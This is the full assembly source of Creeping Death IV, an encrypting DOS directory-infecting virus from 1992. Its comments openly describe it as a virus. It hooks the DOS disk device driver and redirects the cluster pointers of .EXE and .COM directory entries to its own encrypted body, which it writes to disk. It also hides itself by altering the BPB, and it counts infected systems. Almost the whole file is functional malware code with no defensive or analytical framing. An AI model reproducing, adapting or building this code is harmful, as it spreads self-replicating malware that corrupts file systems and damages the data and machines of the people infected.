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CDEATH4.ASM
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Assembly Source File
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1992-10-11
|
24KB
|
603 lines
;*****************************************************************************;
; ;
; Creeping Death IV (Encrypting, try to find it) ;
; ;
; (c) Copyright 1992 by Bit Addict ;
; ;
;*****************************************************************************;
code segment public 'code'
assume cs:code, ds:code, es:code
org 100h
;*****************************************************************************;
; ;
; Actual start of virus. In this part the virus initializes the stack and ;
; adjusts the device driver used by dos to read and write from floppy's and ;
; hard disks. Then it will start the orginal exe or com-file ;
; ;
;*****************************************************************************;
Encrypt: mov bx,offset Main-9
Repeat: xor byte ptr [bx+8],bl
inc bx
jnz Repeat
Main: mov sp,600h ; init stack
inc Counter
;*****************************************************************************;
; ;
; Get dosversion, if the virus is running with dos 4+ then si will be 0 else ;
; si will be -1 ;
; ;
;*****************************************************************************;
DosVersion: mov ah,30h ; fn 30h = Get Dosversion
int 21h ; int 21h
cmp al,4 ; major dosversion
sbb di,di
mov byte ptr ds:drive[2],-1 ; set 2nd operand of cmp ah,??
;*****************************************************************************;
; ;
; Adjust the size of the codesegment, with dos function 4ah ;
; ;
;*****************************************************************************;
mov bx,60h ; Adjust size of memory block
mov ah,4ah ; to 60 paragraphs = 600h bytes
int 21h ; int 21h
mov ah,52h ; get internal list of lists
int 21h ; int 21h
;*****************************************************************************;
; ;
; If the virus code segment is located behind the dos config memory block the ;
; code segment will be part of the config memory block making it 61h ;
; paragraphs larger. If the virus is not located next to the config memory ;
; block the virus will set the owner to 8h (Dos system) ;
; ;
;*****************************************************************************;
mov ax,es:[bx-2] ; segment of first MCB
mov dx,cs ; dx = MCB of the code segment
dec dx
NextMCB: mov ds,ax ; ax = segment next MCB
add ax,ds:[3]
inc ax
cmp ax,dx ; are they equal ?
jne NextMCB ; no, not 1st program executed
cmp word ptr ds:[1],8
jne NoBoot
add word ptr ds:[3],61h ; add 61h to size of block
NoBoot: mov ds,dx ; ds = segment of MCB
mov word ptr ds:[1],8 ; owner = dos system
;*****************************************************************************;
; ;
; The virus will search for the disk paramenter block for drive a: - c: in ;
; order to find the device driver for these block devices. If any of these ;
; blocks is found the virus will install its own device driver and set the ;
; access flag to -1 to tell dos this device hasn't been accesed yet. ;
; ;
;*****************************************************************************;
cld ; clear direction flag
lds bx,es:[bx] ; get pointer to first drive
; paramenter block
Search: cmp bx,-1 ; last block ?
je Last
mov ax,ds:[bx+di+15h] ; get segment of device header
cmp ax,70h ; dos device header ??
jne Next ; no, go to next device
xchg ax,cx
mov byte ptr ds:[bx+di+18h],-1 ; set access flag to "drive
; has not been accessed"
mov si,offset Header-4 ; set address of new device
xchg si,ds:[bx+di+13h] ; and save old address
mov ds:[bx+di+15h],cs
Next: lds bx,ds:[bx+di+19h] ; next drive parameter block
jmp Search
;*****************************************************************************;
; ;
; If the virus has failed in starting the orginal exe-file it will jump here. ;
; ;
;*****************************************************************************;
Install: int 20h
;*****************************************************************************;
; ;
; An file is opend with this name, but the file will not be found. ;
; ;
;*****************************************************************************;
File: db "C:",255,0
;*****************************************************************************;
; ;
; If none of these devices is found it means the virus is already resident ;
; and the virus wasn't able to start the orginal exe-file (the file is ;
; corrupted by copying it without the virus memory resident). If the device ;
; is found the information in the header is copied. ;
; ;
;*****************************************************************************;
Last: jcxz install
;*****************************************************************************;
; ;
; The information about the dos device driver is copyed to the virus code ;
; segment ;
; ;
;*****************************************************************************;
mov ds,cx ; ds = segment of Device Driver
add si,4
push cs
pop es
mov di,offset Header
movsw
lodsw
mov es:StrBlock,ax
mov ax,offset Strategy
stosw
lodsw
mov es:IntBlock,ax
mov ax,offset Interrupt
stosw
movsb
;*****************************************************************************;
; ;
; Deallocate the environment memory block and start the this file again, but ;
; if the virus succeeds it will start the orginal exe-file. ;
; ;
;*****************************************************************************;
push cs
pop ds
mov bx,ds:[2ch] ; environment segment
or bx,bx ; =0 ?
jz Boot
mov es,bx
mov ah,49h ; deallocate memory
int 21h
xor ax,ax
mov di,1
Seek: dec di ; scan for end of environment
scasw
jne Seek
lea si,ds:[di+2] ; es:si = start of filename
jmp short Exec
Boot: mov ds,ds:[16h] ; es = parent PSP
mov bx,ds:[16h] ; bx = parent PSP of Parent PSP
xor si,si
sub bx,1
jnb Exec
mov ax,cs
dec ax
mov ds,ax
mov cx,8
mov si,8
mov di,0ffh
Count: lodsb
or al,al
loopne Count
not cx
and cx,7
NextByte: mov si,8
inc di
push di
push cx
rep cmpsb
pop cx
pop di
jne NextByte
BeginName: dec di
cmp byte ptr es:[di-1],0
jne BeginName
mov si,di
mov bx,es
Exec: push bx
push cs
pop ds
mov bx,offset Param
mov ds:[bx+4],cs ; set segments in EPB
mov ds:[bx+8],cs
mov ds:[bx+12],cs
pop ds
push cs
pop es
mov di,offset f_name ; copy name of this file
push di
mov cx,40
rep movsw
push cs
pop ds
mov ah,3dh ; open file, this file will
mov dx,offset File ; not be found but the entire
int 21h ; directory is searched and
pop dx ; infected
mov ax,4b00h ; execute file
int 21h
mov ah,4dh ; get exit-code
int 21h
mov ah,4ch ; terminate (al = exit code)
int 21h
;*****************************************************************************;
; ;
; Installation complete ;
; ;
;*****************************************************************************;
; ;
; The next part contains the device driver used by creeping death to infect ;
; directory's ;
; ;
; The device driver uses only the strategy routine to handle the requests. ;
; I don't know if this is because the virus will work better or the writer ;
; of this virus didn't know how to do it right. ;
; ;
;*****************************************************************************;
Strategy: mov cs:RequestOffset,bx
mov cs:RequestSegment,es
retf
Interrupt: push ax ; driver strategy block
push bx
push cx ; save registers
push dx
push si
push di
push ds
push es
les bx,cs:Request
push es
pop ds
mov al,ds:[bx+2] ; Command Code
cmp al,4 ; Input
je Input
cmp al,8 ; Output
je Output
cmp al,9
je Output
call DoRequest
cmp al,2 ; Build BPB
jne Return
lds si,ds:[bx+12h] ; copy the BPB and change it
mov di,offset bpb_buf ; into one that hides the virus
mov es:[bx+12h],di
mov es:[bx+14h],cs
push es ; copy
push cs
pop es
mov cx,16
rep movsw
pop es
push cs
pop ds
mov al,ds:[di+2-32] ; change
cmp al,2
adc al,0
cbw
cmp word ptr ds:[di+8-32],0 ; >32mb partition ?
je m32 ; yes, jump to m32
sub ds:[di+8-32],ax ; <32mb partition
jmp short Return
m32: sub ds:[di+15h-32],ax ; >32mb partition
sbb word ptr ds:[di+17h-32],0
Return: pop es ; return to caller
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
retf
Output: mov cx,0ff09h ; check if disk changed
call check
jz InfectSector ; no, just infect sector
call DoRequest ; yes, write virus to disk
jmp short inf_dsk
InfectSector: jmp _InfectSector ; infect sector
Read: jmp _Read ; read sector
ReadError: add sp,16 ; error during request
jmp short Return
Input: call check ; check if disk changed
jz Read ; no, read sector
inf_dsk: mov byte ptr ds:[bx+2],4 ; yes, write virus to disk
cld ; save last part of request
lea si,ds:[bx+0eh]
mov cx,8
save: lodsw
push ax
loop save
mov word ptr ds:[bx+14h],1 ; read 1st sector on disk
call ReadSector
jnz ReadError
mov byte ptr ds:[bx+2],2 ; build BPB
call DoRequest
lds si,ds:[bx+12h] ; ds:si = BPB
mov di,ds:[si+6] ; size of root directory
add di,15 ; in sectors
mov cl,4
shr di,cl
mov al,ds:[si+5]
cbw
mov dx,ds:[si+0bh]
mul dx ; ax=fat sectors, dx=0
add ax,ds:[si+3]
add di,ax
push di ; save it on stack
mov ax,ds:[si+8] ; total number of sectors
cmp ax,dx ; >32mb
jnz more ; no, skip next 2 instructions
mov ax,ds:[si+15h] ; get number of sectors
mov dx,ds:[si+17h]
more: xor cx,cx ; cx=0
sub ax,di ; dx:ax=number is data sectors
sbb dx,cx
mov cl,ds:[si+2] ; cx=sectors / cluster
div cx ; number of clusters on disk
cmp cl,2 ; 1 sector/cluster ?
sbb ax,-1 ; number of clusters (+1 or +2)
push ax ; save it on stack
call Convert ; get fat sector and offset in
mov byte ptr es:[bx+2],4 ; sector
mov es:[bx+14h],ax
call ReadSector ; read fat sector
again: lds si,es:[bx+0eh]
add si,dx
sub dh,cl ; has something to do with the
adc dx,ax ; encryption of the pointers
mov word ptr cs:[gad+1],dx
cmp cl,1 ; 1 sector / cluster
jne Ok
SmallModel: not di ; this is used when the
and ds:[si],di ; clusters are 1 sector long
pop ax
push ax
inc ax
push ax
mov dx,0fh
test di,dx
jz here
inc dx
mul dx
here: or ds:[si],ax
pop ax
call Convert
mov si,es:[bx+0eh]
add si,dx
Ok: mov ax,ds:[si]
and ax,di
mov dx,di ; allocate cluster
dec dx
and dx,di
not di
and ds:[si],di
or ds:[si],dx
cmp ax,dx ; cluster already allocated by
pop ax ; the virus ?
pop di
mov word ptr cs:[pointer+1],ax
je _Read_ ; yes, don't write it and go on
mov dx,ds:[si]
push ds
push si
mov byte ptr es:[bx+2],8 ; write
call DoRequest ; write the adjusted sector to
pop si ; disk
pop ds
jnz _Read_
call ReadSector ; read it again
cmp ds:[si],dx ; is it written correctly ?
jne _Read_ ; no, can't infect disk
dec ax
dec ax ; calculate the sector number
mul cx ; to write the virus to
add ax,di
adc dx,0
push es
pop ds
mov word ptr ds:[bx+12h],2
mov ds:[bx+14h],ax ; store it in the request hdr
test dx,dx
jz less
mov word ptr ds:[bx+14h],-1
mov ds:[bx+1ah],ax
mov ds:[bx+1ch],dx
less: mov ds:[bx+10h],cs
mov ds:[bx+0eh],100h
mov byte ptr es:[bx+2],8 ; write it
call EncryptWrite1
_Read_: mov byte ptr ds:[bx+2],4 ; restore this byte
std ; restore other part of the
lea di,ds:[bx+1ch] ; request
mov cx,8
load: pop ax
stosw
loop load
_Read: call DoRequest ; do request
mov cx,9
_InfectSector: mov di,es:[bx+12h] ; get number of sectors read
lds si,es:[bx+0eh] ; get address of data
sal di,cl ; calculate end of buffer
xor cl,cl
add di,si
xor dl,dl
push ds ; infect the sector
push si
call find
jcxz no_inf ; write sector ?
mov al,8
xchg al,es:[bx+2] ; save command byte
call DoRequest ; write sector
mov es:[bx+2],al ; restore command byte
and byte ptr es:[bx+4],07fh
no_inf: pop si
pop ds
inc dx ; disinfect sector in memory
call find
jmp Return ; return to caller
;*****************************************************************************;
; ;
; Subroutines ;
; ;
;*****************************************************************************;
find: mov ax,ds:[si+8] ; (dis)infect sector in memory
cmp ax,"XE" ; check for .exe
jne com
cmp ds:[si+10],al
je found
com: cmp ax,"OC" ; check for .com
jne go_on
cmp byte ptr ds:[si+10],"M"
jne go_on
found: test word ptr ds:[si+1eh],0ffc0h ; file to big
jnz go_on ; more than 4mb
test word ptr ds:[si+1dh],03ff8h ; file to small
jz go_on ; less than 2048 bytes
test byte ptr ds:[si+0bh],1ch ; directory, system or
jnz go_on ; volume label
test dl,dl ; infect or disinfect ?
jnz rest
pointer: mov ax,1234h ; ax = viral cluster
cmp ax,ds:[si+1ah] ; file already infected ?
je go_on ; yes, go on
xchg ax,ds:[si+1ah] ; exchange pointers
gad: xor ax,1234h ; encryption
mov ds:[si+14h],ax ; store it on another place
loop go_on ; change cx and go on
rest: xor ax,ax ; ax = 0
xchg ax,ds:[si+14h] ; get pointer
xor ax,word ptr cs:[gad+1] ; Encrypt
mov ds:[si+1ah],ax ; store it on the right place
go_on: rol word ptr cs:[gad+1],1 ; change encryption
add si,32 ; next directory entry
cmp di,si ; end of buffer ?
jne find ; no, do it again
ret ; return
check: mov ah,ds:[bx+1] ; get number of unit
drive: cmp ah,-1 ; same as last call ?
mov byte ptr cs:[drive+2],ah ; set 2nd parameter
jne changed
push ds:[bx+0eh] ; save word
mov byte ptr ds:[bx+2],1 ; disk changed ?
call DoRequest
cmp byte ptr ds:[bx+0eh],1 ; 1=Yes
pop ds:[bx+0eh] ; restore word
mov ds:[bx+2],al ; restore command
changed: ret ; return
ReadSector: mov word ptr es:[bx+12h],1 ; read sector from disk
DoRequest: db 09ah ; call 70:?, orginal strategy
StrBlock dw ?,70h
db 09ah ; call 70:?, orginal interrupt
IntBlock dw ?,70h
test byte ptr es:[bx+4],80h ; error ? yes, zf = 0
ret ; return
Convert: cmp ax,0ff0h ; convert cluster number into
jae fat_16 ; an sector number and offset
mov si,3 ; into this sector containing
xor word ptr cs:[si+gad-1],si ; the fat-item of this
mul si ; cluster
shr ax,1
mov di,0fffh
jnc cont
mov di,0fff0h
jmp short cont
fat_16: mov si,2
mul si
mov di,0ffffh
cont: mov si,512
div si
inc ax
ret
EncryptWrite1: push ds
push cs
pop ds
push es
push cs
pop es
cld
mov cx,9
mov si,offset Encrypt
mov di,offset EncryptWrite2
mov al,ds:[si+5]
add al,11
mov ds:[si+5],al
cbw
mov dx,offset Main-1
sub dx,ax
mov ds:[si+1],dx
rep movsb
mov cl,10
mov si,offset DoRequest
rep movsb
mov cl,9
mov si,offset Encrypt
rep movsb
mov ax,0c31fh
stosw
pop es
jmp EncryptWrite2
Counter dw 0 ; this will count the number of
; systems that are infected by
; this virus
Param: dw 0,80h,?,5ch,?,6ch,? ; parameters for the
; exec-function
Header db 7 dup(?) ; this is the header for the
; device driver
Request equ this dword ; address of the request header
RequestOffset dw ?
RequestSegment dw ?
bpb_buf: db 32 dup(?) ; buffer for BPB
EncryptWrite2: db 30 dup(?)
f_name: db 80 dup(?) ; Buffer for the filename used
; by the exec-function
;*****************************************************************************;
; ;
; The End ;
; ;
;*****************************************************************************;
code ends
end Encrypt
